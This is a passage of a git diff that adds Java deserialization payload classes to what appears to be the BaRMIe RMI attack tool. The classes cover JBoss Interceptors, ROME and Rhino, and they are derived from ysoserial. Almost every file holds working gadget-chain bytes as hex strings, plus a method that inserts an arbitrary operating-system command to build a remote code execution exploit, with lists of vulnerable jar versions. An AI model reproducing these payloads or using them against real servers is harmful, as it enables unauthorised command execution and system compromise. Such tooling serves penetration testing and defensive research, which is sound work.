+ * Generate payload bytes for the given OS command, correcting references + * by the given amount. + * + * @param cmd The operating system command to execute. + * @param refCorrection The amount to correct TC_REFERENCE handles by (see note above). + * @return An array of bytes making up the deserialization payload. + ******************/ + public byte[] getBytes(String cmd, int refCorrection) throws BaRMIeException { + ByteArrayOutputStream out; + + //Generate the payload bytes + try { + //Fix references in the header bytes and add them to the output + out = new ByteArrayOutputStream(); + out.write(this.fixReferences(this.hexStrToByteArray(this._header_chunk), refCorrection)); + + //Add the command string to the output + out.write(this.stringToUtf8ByteArray(cmd)); + + //Fix references in the footer bytes and add them to the output + out.write(this.fixReferences(this.hexStrToByteArray(this._footer_chunk), refCorrection)); + } catch(IOException ioe) { + throw new BaRMIeDeserPayloadGenerationException("Failed to build Commons Collections 1 deserialization payload.", ioe); + } + + //Return the payload bytes + return out.toByteArray(); + } +} diff --git a/src/nb/barmie/modes/attack/deser/payloads/JBossInterceptorsPayload1.java b/src/nb/barmie/modes/attack/deser/payloads/JBossInterceptorsPayload1.java new file mode 100644 index 0000000..854edf0 --- /dev/null +++ b/src/nb/barmie/modes/attack/deser/payloads/JBossInterceptorsPayload1.java @@ -0,0 +1,76 @@ +package nb.barmie.modes.attack.deser.payloads; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import nb.barmie.exceptions.BaRMIeDeserPayloadGenerationException; +import nb.barmie.exceptions.BaRMIeException; +import nb.barmie.modes.attack.DeserPayload; + +/*********************************************************** + * Deserialization payload for JBoss Interceptors API. + * + * Based on the ysoserial and the excellent work of Chris + * Frohoff, Matthias Kaiser et al + * (https://github.com/frohoff/ysoserial). + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class JBossInterceptorsPayload1 extends DeserPayload { + /******************* + * Properties + ******************/ + //Payload data chunks + private final String _header_chunk = "737200346f72672e6a626f73732e696e746572636570746f722e70726f78792e496e746572636570746f724d6574686f6448616e646c6572873a4af771c283ca0300054c0011696e74657263657074696f6e4d6f64656c7400334c6f72672f6a626f73732f696e746572636570746f722f7370692f6d6f64656c2f496e74657263657074696f6e4d6f64656c3b4c001b696e746572636570746f7248616e646c6572496e7374616e63657374000f4c6a6176612f7574696c2f4d61703b4c0018696e766f636174696f6e436f6e74657874466163746f727974003c4c6f72672f6a626f73732f696e746572636570746f722f7370692f636f6e746578742f496e766f636174696f6e436f6e74657874466163746f72793b4c001e746172676574436c617373496e746572636570746f724d657461646174617400384c6f72672f6a626f73732f696e746572636570746f722f7370692f6d657461646174612f496e746572636570746f724d657461646174613b4c000e746172676574496e7374616e63657400124c6a6176612f6c616e672f4f626a6563743b707870737200336f72672e6a626f73732e696e746572636570746f722e6275696c6465722e496e74657263657074696f6e4d6f64656c496d706cd494e150e2b8db200200054c000f616c6c496e746572636570746f727374000f4c6a6176612f7574696c2f5365743b4c0012676c6f62616c496e746572636570746f727371007e00024c0011696e746572636570746564456e7469747971007e00054c00176d6574686f64426f756e64496e746572636570746f727371007e00024c00166d6574686f647349676e6f72696e67476c6f62616c7371007e0008707870737200176a6176612e7574696c2e4c696e6b656448617368536574d86cd75a95dd2a1e02000070787200116a6176612e7574696c2e48617368536574ba44859596b8b734030000707870770c000000000010000000000000737200366f72672e6a626f73732e696e746572636570746f722e7265616465722e53696d706c65496e746572636570746f724d6574616461746100046e2632cdf08b0200035a000b746172676574436c6173734c0014696e746572636570746f724d6574686f644d617071007e00024c0014696e746572636570746f725265666572656e63657400394c6f72672f6a626f73732f696e746572636570746f722f7370692f6d657461646174612f496e746572636570746f725265666572656e63653b70787000737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c647078700000000100000000770800000000000000017e7200306f72672e6a626f73732e696e746572636570746f722e7370692e6d6f64656c2e496e74657263657074696f6e547970650000000000000000120000707872000e6a6176612e6c616e672e456e756d000000000000000012000070787074000d504f53545f4143544956415445737200136a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a65707870000000017704000000007372005a6f72672e6a626f73732e696e746572636570746f722e7265616465722e44656661756c744d6574686f644d657461646174612444656661756c744d6574686f644d6574616461746153657269616c697a6174696f6e50726f7879d579494f9b7dd2ca0200024c000f6d6574686f645265666572656e636574002f4c6f72672f6a626f73732f696e746572636570746f722f6275696c6465722f4d6574686f645265666572656e63653b4c001a737570706f72746564496e74657263657074696f6e547970657371007e00087078707372004c6f72672e6a626f73732e696e746572636570746f722e6275696c6465722e4d6574686f645265666572656e6365244d6574686f64486f6c64657253657269616c697a6174696f6e50726f7879d46a60f4493e7dd20200034c0009636c6173734e616d657400124c6a6176612f6c616e672f537472696e673b4c000a6d6574686f644e616d6571007e001c5b0013706172616d65746572436c6173734e616d65737400135b4c6a6176612f6c616e672f537472696e673b70787074003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c74000e6e65775472616e73666f726d6572757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b47020000707870000000007371007e000b770c00000000001000000000000171007e00147878787372003e6f72672e6a626f73732e696e746572636570746f722e7265616465722e436c6173734d65746164617461496e746572636570746f725265666572656e6365cb83b3bef93b30fe0200014c000d636c6173734d657461646174617400324c6f72672f6a626f73732f696e746572636570746f722f7370692f6d657461646174612f436c6173734d657461646174613b707870737200346f72672e6a626f73732e696e746572636570746f722e7265616465722e5265666c656374697665436c6173734d65746164617461e303853ff76c4ebe0200014c0005636c617a7a7400114c6a6176612f6c616e672f436c6173733b7078707671007e0010787371007e00100000000100000000770800000000000000067e71007e001274000b5052455f44455354524f597371007e00160000000077040000000171007e000f787e71007e001274000d41524f554e445f494e564f4b457371007e00160000000177040000000171007e000f787e71007e001274000d5052455f5041535349564154457371007e00160000000177040000000171007e000f7871007e00147371007e00160000000177040000000171007e000f787e71007e001274000e504f53545f434f4e5354525543547371007e00160000000177040000000171007e000f787e71007e001274000e41524f554e445f54494d454f55547371007e00160000000177040000000171007e000f787871007e002a7371007e0010000000010000000077080000001000000000787371007e000b770c000000103f40000000000000787371007e00103f4000000000000c7708000000100000000171007e000f7372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b000a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d6571007e001c4c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b70787000000000ffffffff757200035b5b424bfd19156767db3702000070787000000002757200025b42acf317f8060854e0020000707870"; + private final String _mid_chunk = "cafebabe0000003100380a00030022070036070025070026010001410100014a010001410500000000000000000100063c696e69743e010003282956010004436f646501000141010001410100014101000141010001410100014101000141010005284c3b29560100014101000141010001410100014101000141070027010006284c413b29560100014101000141010001410100014101000141010001410c000a000b07002801000141010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740100146a6176612f696f2f53657269616c697a61626c6501000141010001410100083c636c696e69743e0100116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a002b002e01"; + private final String _footer_chunk = "08003001000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0c003200330a002b00340100014101000141002100020003000100040001001a000500060001000700000002000800040001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000002e000e0000000c000100000005000f003700000001001300140002000c0000003f0000000300000001b100000002000d00000006000100000033000e00000020000300000001000f0037000000000001001500160001000000010017001800020019000000040001001a00010013001b0002000c000000490000000400000001b100000002000d00000006000100000037000e0000002a000400000001000f003700000000000100150016000100000001001c001d000200000001001e001f00030019000000040001001a00080029000b0001000c0000001b000300020000000fa70003014cb8002f1231b6003557b1000000000002002000000002002100110000000a000100020023001000097571007e004600000113cafebabe00000031001b0a00030015070017070018070019010001410100014a010001410500000000000000000100063c696e69743e010003282956010004436f646501000141010001410100014101000141010001410100014101000141010001410c000a000b07001a01000241410100106a6176612f6c616e672f4f626a6563740100146a6176612f696f2f53657269616c697a61626c6501000141002100020003000100040001001a000500060001000700000002000800010001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000003b000e0000000c000100000005000f001200000002001300000002001400110000000a0001000200160010000970740001417077010078787372003b6f72672e6a626f73732e696e746572636570746f722e70726f78792e44656661756c74496e766f636174696f6e436f6e74657874466163746f7279414e96f669775a610200007078707371007e000d007371007e0010000000010000000077080000001000000000787371007e002471007e00297371007e00100000000100000000770800000010000000017400014171007e00507878"; + + /******************* + * Set payload properties + ******************/ + public JBossInterceptorsPayload1() { + super(); + this.setName("JBossInterceptors1"); + this.setDescription("JBoss Interceptors API"); + this.setRemediationAdvice("[JBoss] " + this.REMEDIATION_NO_FIX); + this.setAffectedJars(new String[] { + "jboss-interceptor-api-1.0.1-CR1.jar", "jboss-interceptor-api-1.0.jar", "jboss-interceptor-api-1.1-CR1.jar", "jboss-interceptor-api-1.1.jar", "jboss-interceptor-api-3.1.0-CR1.jar", + "jboss-interceptor-api-3.1.0-CR2.jar", "jboss-interceptor-api-3.1.0-CR3.jar", "jboss-interceptor-core-2.0.0.Alpha1.jar", "jboss-interceptor-core-2.0.0.Alpha2.jar", "jboss-interceptor-core-2.0.0.Alpha3.jar", + "jboss-interceptor-core-2.0.0.CR1.jar", "jboss-interceptor-core-2.0.0.Final.jar", "jboss-interceptor-spi-2.0.0.Alpha1.jar", "jboss-interceptor-spi-2.0.0.Alpha2.jar", "jboss-interceptor-spi-2.0.0.Alpha3.jar", + "jboss-interceptor-spi-2.0.0.CR1.jar", "jboss-interceptor-spi-2.0.0.Final-redhat-1.jar", "jboss-interceptor-spi-2.0.0.Final.jar" + }); + } + + /******************* + * Generate payload bytes for the given OS command, correcting references + * by the given amount. + * + * @param cmd The operating system command to execute. + * @param refCorrection The amount to correct TC_REFERENCE handles by (see note above). + * @return An array of bytes making up the deserialization payload. + ******************/ + public byte[] getBytes(String cmd, int refCorrection) throws BaRMIeException { + ByteArrayOutputStream out; + + //Generate the payload bytes + try { + //Fix references in the header bytes and add them to the output + out = new ByteArrayOutputStream(); + out.write(this.fixReferences(this.hexStrToByteArray(this._header_chunk), refCorrection)); + + //Add the middle chunk + out.write(this.intToByteArray(765 + cmd.length())); + out.write(this.hexStrToByteArray(this._mid_chunk)); + + //Add the command string to the output + out.write(this.stringToUtf8ByteArray(cmd)); + + //Fix references in the footer bytes and add them to the output + out.write(this.fixReferences(this.hexStrToByteArray(this._footer_chunk), refCorrection)); + } catch(IOException ioe) { + throw new BaRMIeDeserPayloadGenerationException("Failed to build Commons Collections 1 deserialization payload.", ioe); + } + + //Return the payload bytes + return out.toByteArray(); + } +} diff --git a/src/nb/barmie/modes/attack/deser/payloads/ROMEPayload1.java b/src/nb/barmie/modes/attack/deser/payloads/ROMEPayload1.java new file mode 100644 index 0000000..f84350a --- /dev/null +++ b/src/nb/barmie/modes/attack/deser/payloads/ROMEPayload1.java @@ -0,0 +1,73 @@ +package nb.barmie.modes.attack.deser.payloads; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import nb.barmie.exceptions.BaRMIeDeserPayloadGenerationException; +import nb.barmie.exceptions.BaRMIeException; +import nb.barmie.modes.attack.DeserPayload; + +/*********************************************************** + * Deserialization payload for ROME 0.5 to 1.0. + * + * Based on the ysoserial and the excellent work of Chris + * Frohoff, Matthias Kaiser et al + * (https://github.com/frohoff/ysoserial). + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class ROMEPayload1 extends DeserPayload { + /******************* + * Properties + ******************/ + //Payload data chunks + private final String _header_chunk = "737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6470787000000001000000007708000000000000000173720028636f6d2e73756e2e73796e6469636174696f6e2e666565642e696d706c2e4f626a6563744265616e829907de7604944a0200034c000e5f636c6f6e6561626c654265616e74002d4c636f6d2f73756e2f73796e6469636174696f6e2f666565642f696d706c2f436c6f6e6561626c654265616e3b4c000b5f657175616c734265616e74002a4c636f6d2f73756e2f73796e6469636174696f6e2f666565642f696d706c2f457175616c734265616e3b4c000d5f746f537472696e674265616e74002c4c636f6d2f73756e2f73796e6469636174696f6e2f666565642f696d706c2f546f537472696e674265616e3b7078707372002b636f6d2e73756e2e73796e6469636174696f6e2e666565642e696d706c2e436c6f6e6561626c654265616edd61bbc5334f6b770200024c00115f69676e6f726550726f7065727469657374000f4c6a6176612f7574696c2f5365743b4c00045f6f626a7400124c6a6176612f6c616e672f4f626a6563743b7078707372001e6a6176612e7574696c2e436f6c6c656374696f6e7324456d70747953657415f5721db403cb280200007078707371007e00027371007e000771007e000c7372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b000a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d657400124c6a6176612f6c616e672f537472696e673b4c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b70787000000000ffffffff757200035b5b424bfd19156767db3702000070787000000002757200025b42acf317f8060854e0020000707870"; + private final String _mid_chunk = "cafebabe0000003100380a00030022070036070025070026010001410100014a010001410500000000000000000100063c696e69743e010003282956010004436f646501000141010001410100014101000141010001410100014101000141010005284c3b29560100014101000141010001410100014101000141070027010006284c413b29560100014101000141010001410100014101000141010001410c000a000b07002801000141010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740100146a6176612f696f2f53657269616c697a61626c6501000141010001410100083c636c696e69743e0100116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a002b002e01"; + private final String _footer_chunk = "08003001000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0c003200330a002b00340100014101000141002100020003000100040001001a000500060001000700000002000800040001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000002e000e0000000c000100000005000f003700000001001300140002000c0000003f0000000300000001b100000002000d00000006000100000033000e00000020000300000001000f0037000000000001001500160001000000010017001800020019000000040001001a00010013001b0002000c000000490000000400000001b100000002000d00000006000100000037000e0000002a000400000001000f003700000000000100150016000100000001001c001d000200000001001e001f00030019000000040001001a00080029000b0001000c0000001b000300020000000fa70003014cb8002f1231b6003557b1000000000002002000000002002100110000000a000100020023001000097571007e001700000113cafebabe00000031001b0a00030015070017070018070019010001410100014a010001410500000000000000000100063c696e69743e010003282956010004436f646501000141010001410100014101000141010001410100014101000141010001410c000a000b07001a01000241410100106a6176612f6c616e672f4f626a6563740100146a6176612f696f2f53657269616c697a61626c6501000141002100020003000100040001001a000500060001000700000002000800010001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000003b000e0000000c000100000005000f001200000002001300000002001400110000000a000100020016001000097074000141707701007873720028636f6d2e73756e2e73796e6469636174696f6e2e666565642e696d706c2e457175616c734265616ef58a18bbe5f618110200024c000a5f6265616e436c6173737400114c6a6176612f6c616e672f436c6173733b4c00045f6f626a71007e00097078707672001d6a617661782e786d6c2e7472616e73666f726d2e54656d706c61746573000000000000000000000070787071007e00147372002a636f6d2e73756e2e73796e6469636174696f6e2e666565642e696d706c2e546f537472696e674265616e09f58e4a0f23ee310200024c000a5f6265616e436c61737371007e001c4c00045f6f626a71007e000970787071007e001f71007e00147371007e001b7671007e000271007e000d7371007e002071007e002371007e000d71007e000671007e000671007e000678"; + + /******************* + * Set payload properties + ******************/ + public ROMEPayload1() { + super(); + this.setName("ROME1"); + this.setDescription("ROME 0.5 to 1.0"); + this.setRemediationAdvice("[ROME] " + this.REMEDIATION_NO_FIX); + this.setAffectedJars(new String[] { + "rome-0.1.jar", "rome-0.2.jar", "rome-0.3.jar", "rome-0.4.jar", "rome-0.5.jar", "rome-0.6.jar", "rome-0.7.jar", "rome-0.8.jar", "rome-0.9.jar", "rome-1.0.jar", "rome-1.0RC1.jar", "rome-1.0RC2.jar" + }); + } + + /******************* + * Generate payload bytes for the given OS command, correcting references + * by the given amount. + * + * @param cmd The operating system command to execute. + * @param refCorrection The amount to correct TC_REFERENCE handles by (see note above). + * @return An array of bytes making up the deserialization payload. + ******************/ + public byte[] getBytes(String cmd, int refCorrection) throws BaRMIeException { + ByteArrayOutputStream out; + + //Generate the payload bytes + try { + //Fix references in the header bytes and add them to the output + out = new ByteArrayOutputStream(); + out.write(this.fixReferences(this.hexStrToByteArray(this._header_chunk), refCorrection)); + + //Add the middle chunk + out.write(this.intToByteArray(765 + cmd.length())); + out.write(this.hexStrToByteArray(this._mid_chunk)); + + //Add the command string to the output + out.write(this.stringToUtf8ByteArray(cmd)); + + //Fix references in the footer bytes and add them to the output + out.write(this.fixReferences(this.hexStrToByteArray(this._footer_chunk), refCorrection)); + } catch(IOException ioe) { + throw new BaRMIeDeserPayloadGenerationException("Failed to build Commons Collections 1 deserialization payload.", ioe); + } + + //Return the payload bytes + return out.toByteArray(); + } +} diff --git a/src/nb/barmie/modes/attack/deser/payloads/ROMEPayload2.java b/src/nb/barmie/modes/attack/deser/payloads/ROMEPayload2.java new file mode 100644 index 0000000..6022834 --- /dev/null +++ b/src/nb/barmie/modes/attack/deser/payloads/ROMEPayload2.java @@ -0,0 +1,73 @@ +package nb.barmie.modes.attack.deser.payloads; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import nb.barmie.exceptions.BaRMIeDeserPayloadGenerationException; +import nb.barmie.exceptions.BaRMIeException; +import nb.barmie.modes.attack.DeserPayload; + +/*********************************************************** + * Deserialization payload for ROME 1.5 to 1.7.3. + * + * Based on the ysoserial and the excellent work of Chris + * Frohoff, Matthias Kaiser et al + * (https://github.com/frohoff/ysoserial). + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class ROMEPayload2 extends DeserPayload { + /******************* + * Properties + ******************/ + //Payload data chunks + private final String _header_chunk = "737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6470787000000001000000007708000000020000000273720027636f6d2e726f6d65746f6f6c732e726f6d652e666565642e696d706c2e4f626a6563744265616e00000000000000010200034c000d636c6f6e6561626c654265616e74002c4c636f6d2f726f6d65746f6f6c732f726f6d652f666565642f696d706c2f436c6f6e6561626c654265616e3b4c000a657175616c734265616e7400294c636f6d2f726f6d65746f6f6c732f726f6d652f666565642f696d706c2f457175616c734265616e3b4c000c746f537472696e674265616e74002b4c636f6d2f726f6d65746f6f6c732f726f6d652f666565642f696d706c2f546f537472696e674265616e3b7078707372002a636f6d2e726f6d65746f6f6c732e726f6d652e666565642e696d706c2e436c6f6e6561626c654265616e00000000000000010200024c001069676e6f726550726f7065727469657374000f4c6a6176612f7574696c2f5365743b4c00036f626a7400124c6a6176612f6c616e672f4f626a6563743b7078707372001e6a6176612e7574696c2e436f6c6c656374696f6e7324456d70747953657415f5721db403cb280200007078707371007e00027371007e000771007e000c7372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b000a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d657400124c6a6176612f6c616e672f537472696e673b4c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b70787000000000ffffffff757200035b5b424bfd19156767db3702000070787000000002757200025b42acf317f8060854e0020000707870"; + private final String _mid_chunk = "cafebabe0000003100380a00030022070036070025070026010001410100014a010001410500000000000000000100063c696e69743e010003282956010004436f646501000141010001410100014101000141010001410100014101000141010005284c3b29560100014101000141010001410100014101000141070027010006284c413b29560100014101000141010001410100014101000141010001410c000a000b07002801000141010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740100146a6176612f696f2f53657269616c697a61626c6501000141010001410100083c636c696e69743e0100116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a002b002e01"; + private final String _footer_chunk = "08003001000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0c003200330a002b00340100014101000141002100020003000100040001001a000500060001000700000002000800040001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000002e000e0000000c000100000005000f003700000001001300140002000c0000003f0000000300000001b100000002000d00000006000100000033000e00000020000300000001000f0037000000000001001500160001000000010017001800020019000000040001001a00010013001b0002000c000000490000000400000001b100000002000d00000006000100000037000e0000002a000400000001000f003700000000000100150016000100000001001c001d000200000001001e001f00030019000000040001001a00080029000b0001000c0000001b000300020000000fa70003014cb8002f1231b6003557b1000000000002002000000002002100110000000a000100020023001000097571007e001700000113cafebabe00000031001b0a00030015070017070018070019010001410100014a010001410500000000000000000100063c696e69743e010003282956010004436f646501000141010001410100014101000141010001410100014101000141010001410c000a000b07001a01000241410100106a6176612f6c616e672f4f626a6563740100146a6176612f696f2f53657269616c697a61626c6501000141002100020003000100040001001a000500060001000700000002000800010001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000003b000e0000000c000100000005000f001200000002001300000002001400110000000a000100020016001000097074000141707701007873720027636f6d2e726f6d65746f6f6c732e726f6d652e666565642e696d706c2e457175616c734265616e00000000000000010200024c00096265616e436c6173737400114c6a6176612f6c616e672f436c6173733b4c00036f626a71007e00097078707672001d6a617661782e786d6c2e7472616e73666f726d2e54656d706c61746573000000000000000000000070787071007e001473720029636f6d2e726f6d65746f6f6c732e726f6d652e666565642e696d706c2e546f537472696e674265616e00000000000000010200024c00096265616e436c61737371007e001c4c00036f626a71007e000970787071007e001f71007e00147371007e001b7671007e000271007e000d7371007e002071007e002371007e000d71007e000671007e000671007e000678"; + + /******************* + * Set payload properties + ******************/ + public ROMEPayload2() { + super(); + this.setName("ROME2"); + this.setDescription("ROME 1.5 to 1.7.3"); + this.setRemediationAdvice("[ROME] " + this.REMEDIATION_NO_FIX); + this.setAffectedJars(new String[] { + "rome-1.5.0.jar", "rome-1.5.1.jar", "rome-1.6.0.jar", "rome-1.6.1.jar", "rome-1.7.0.jar", "rome-1.7.1.jar", "rome-1.7.2.jar", "rome-1.7.3.jar" + }); + } + + /******************* + * Generate payload bytes for the given OS command, correcting references + * by the given amount. + * + * @param cmd The operating system command to execute. + * @param refCorrection The amount to correct TC_REFERENCE handles by (see note above). + * @return An array of bytes making up the deserialization payload. + ******************/ + public byte[] getBytes(String cmd, int refCorrection) throws BaRMIeException { + ByteArrayOutputStream out; + + //Generate the payload bytes + try { + //Fix references in the header bytes and add them to the output + out = new ByteArrayOutputStream(); + out.write(this.fixReferences(this.hexStrToByteArray(this._header_chunk), refCorrection)); + + //Add the middle chunk + out.write(this.intToByteArray(765 + cmd.length())); + out.write(this.hexStrToByteArray(this._mid_chunk)); + + //Add the command string to the output + out.write(this.stringToUtf8ByteArray(cmd)); + + //Fix references in the footer bytes and add them to the output + out.write(this.fixReferences(this.hexStrToByteArray(this._footer_chunk), refCorrection)); + } catch(IOException ioe) { + throw new BaRMIeDeserPayloadGenerationException("Failed to build Commons Collections 1 deserialization payload.", ioe); + } + + //Return the payload bytes + return out.toByteArray(); + } +} diff --git a/src/nb/barmie/modes/attack/deser/payloads/RhinoPayload1.java b/src/nb/barmie/modes/attack/deser/payloads/RhinoPayload1.java new file mode 100644 index 0000000..296c112 --- /dev/null +++ b/src/nb/barmie/modes/attack/deser/payloads/RhinoPayload1.java @@ -0,0 +1,74 @@ +package nb.barmie.modes.attack.deser.payloads; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import nb.barmie.exceptions.BaRMIeDeserPayloadGenerationException; +import nb.barmie.exceptions.BaRMIeException; +import nb.barmie.modes.attack.DeserPayload; + +/*********************************************************** + * Deserialization payload for Mozilla Rhino 1.7r2. + * + * Based on the ysoserial and the excellent work of Chris + * Frohoff, Matthias Kaiser et al + * (https://github.com/frohoff/ysoserial). + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class RhinoPayload1 extends DeserPayload { + /******************* + * Properties + ******************/ + //Payload data chunks + private final String _header_chunk = "7372002e6a617661782e6d616e6167656d656e742e42616441747472696275746556616c7565457870457863657074696f6ed4e7daab632d46400200014c000376616c7400124c6a6176612f6c616e672f4f626a6563743b70787200136a6176612e6c616e672e457863657074696f6ed0fd1f3e1a3b1cc402000070787200136a6176612e6c616e672e5468726f7761626c65d5c635273977b8cb0300044c000563617573657400154c6a6176612f6c616e672f5468726f7761626c653b4c000d64657461696c4d6573736167657400124c6a6176612f6c616e672f537472696e673b5b000a737461636b547261636574001e5b4c6a6176612f6c616e672f537461636b5472616365456c656d656e743b4c001473757070726573736564457863657074696f6e737400104c6a6176612f7574696c2f4c6973743b70787071007e0008707572001e5b4c6a6176612e6c616e672e537461636b5472616365456c656d656e743b02462a3c3cfd223902000070787000000000737200266a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c654c697374fc0f2531b5ec8e100200014c00046c69737471007e0007707872002c6a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c65436f6c6c656374696f6e19420080cb5ef71e0200014c0001637400164c6a6176612f7574696c2f436f6c6c656374696f6e3b707870737200136a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a65707870000000007704000000007871007e001078737200226f72672e6d6f7a696c6c612e6a6176617363726970742e4e61746976654572726f72b5ea2521be49ce7d02000070787200296f72672e6d6f7a696c6c612e6a6176617363726970742e496453637269707461626c654f626a6563742a2b6fc82e6217a303000070787200276f72672e6d6f7a696c6c612e6a6176617363726970742e53637269707461626c654f626a65637465ce14728fc418e4030004490005636f756e744c00106173736f63696174656456616c75657374000f4c6a6176612f7574696c2f4d61703b4c0011706172656e7453636f70654f626a6563747400234c6f72672f6d6f7a696c6c612f6a6176617363726970742f53637269707461626c653b4c000f70726f746f747970654f626a65637471007e0015707870000000027070737200276f72672e6d6f7a696c6c612e6a6176617363726970742e4e61746976654a6176614f626a6563749f91a59e35c431e10300024c0006706172656e7471007e00154c000970726f746f7479706571007e0015707870737200236f72672e6d6f7a696c6c612e6a6176617363726970742e4e61746976654f626a656374a7f0f22aff97ba0c020000707871007e001200000037737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c647078703f4000000000000c7708000000100000000474000d4c4942524152595f53434f504571007e001a7400084974657261746f72737200336f72672e6d6f7a696c6c612e6a6176617363726970742e4e61746976654974657261746f722453746f70497465726174696f6e227d07bedda89dbf020000707871007e0019000000007071007e001a7371007e0019000000007071007e001a707704000000007877040000000c78770400000000787704000000007874000a436c6173734361636865737200216f72672e6d6f7a696c6c612e6a6176617363726970742e436c617373436163686584f4c43496dc1f290200025a001063616368696e674973456e61626c656449001467656e657261746564436c61737353657269616c7078700000000000740000737200266f72672e6d6f7a696c6c612e6a6176617363726970742e4e617469766547656e657261746f7216d762746ec522c90200065a0009666972737454696d6549000a6c696e654e756d6265725a00066c6f636b65644c000866756e6374696f6e7400274c6f72672f6d6f7a696c6c612f6a6176617363726970742f4e617469766546756e6374696f6e3b4c000a6c696e65536f7572636571007e00054c000a7361766564537461746571007e0001707871007e001200000000707070770400000000787704000000057800000000000070707078707077040000005f7372002c6f72672e6d6f7a696c6c612e6a6176617363726970742e53637269707461626c654f626a65637424536c6f74ab79e83be385789d02000453000a6174747269627574657349000b696e6465784f72486173684c00046e616d6571007e00054c000576616c756571007e0001707870000000000000740000737200276f72672e6d6f7a696c6c612e6a6176617363726970742e496446756e6374696f6e4f626a656374b5ffd1c66ba0fed502000649000561726974794900086d6574686f6449645a001475736543616c6c4173436f6e7374727563746f724c000c66756e6374696f6e4e616d6571007e00054c0006696463616c6c7400274c6f72672f6d6f7a696c6c612f6a6176617363726970742f496446756e6374696f6e43616c6c3b4c000374616771007e000170787200236f72672e6d6f7a696c6c612e6a6176617363726970742e4261736546756e6374696f6e49b5dd1bb05c2ae302000249001b70726f746f7479706550726f7065727479417474726962757465734c001170726f746f7479706550726f706572747971007e0001707871007e00120000000070707371007e002e0000000070707077040000000078770400000000780000000070770400000000787704000000007800000000700000000000000000007070707371007e00290000000000007400007371007e002c00000000707070770400000000787704000000007800000000700000000000000000007070707371007e00290000000000007400007371007e002c000000007071007e001a707704000000007877040000000078000000077371007e0011000000047071007e001a71007e002177040000000b7371007e0029000000337a8b7400046e616d6571007e00357371007e0029000038eb00077400076d6573736167657400007371007e00290000d425c62774000866696c654e616d6571007e003c7371007e00290000ec61b05d74000a6c696e654e756d626572737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c756570787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b02000070787000000000787704000000037800000001000000010171007e003571007e003771007e00357371007e002900021eb5489e7400096465636f64655552497371007e002c000000007071007e001a707704000000007877040000000078000000047000000001000000010071007e0045737200236f72672e6d6f7a696c6c612e6a6176617363726970742e4e6174697665476c6f62616c546211ef26c230ca020000707870740006476c6f62616c7371007e002900022e10c5ff7400126465636f6465555249436f6d706f6e656e747371007e002c000000007071007e001a707704000000007877040000000078000000047000000001000000020071007e004b71007e004871007e00497371007e0029000259e44b76740009656e636f64655552497371007e002c000000007071007e001a707704000000007877040000000078000000047000000001000000030071007e004e71007e004871007e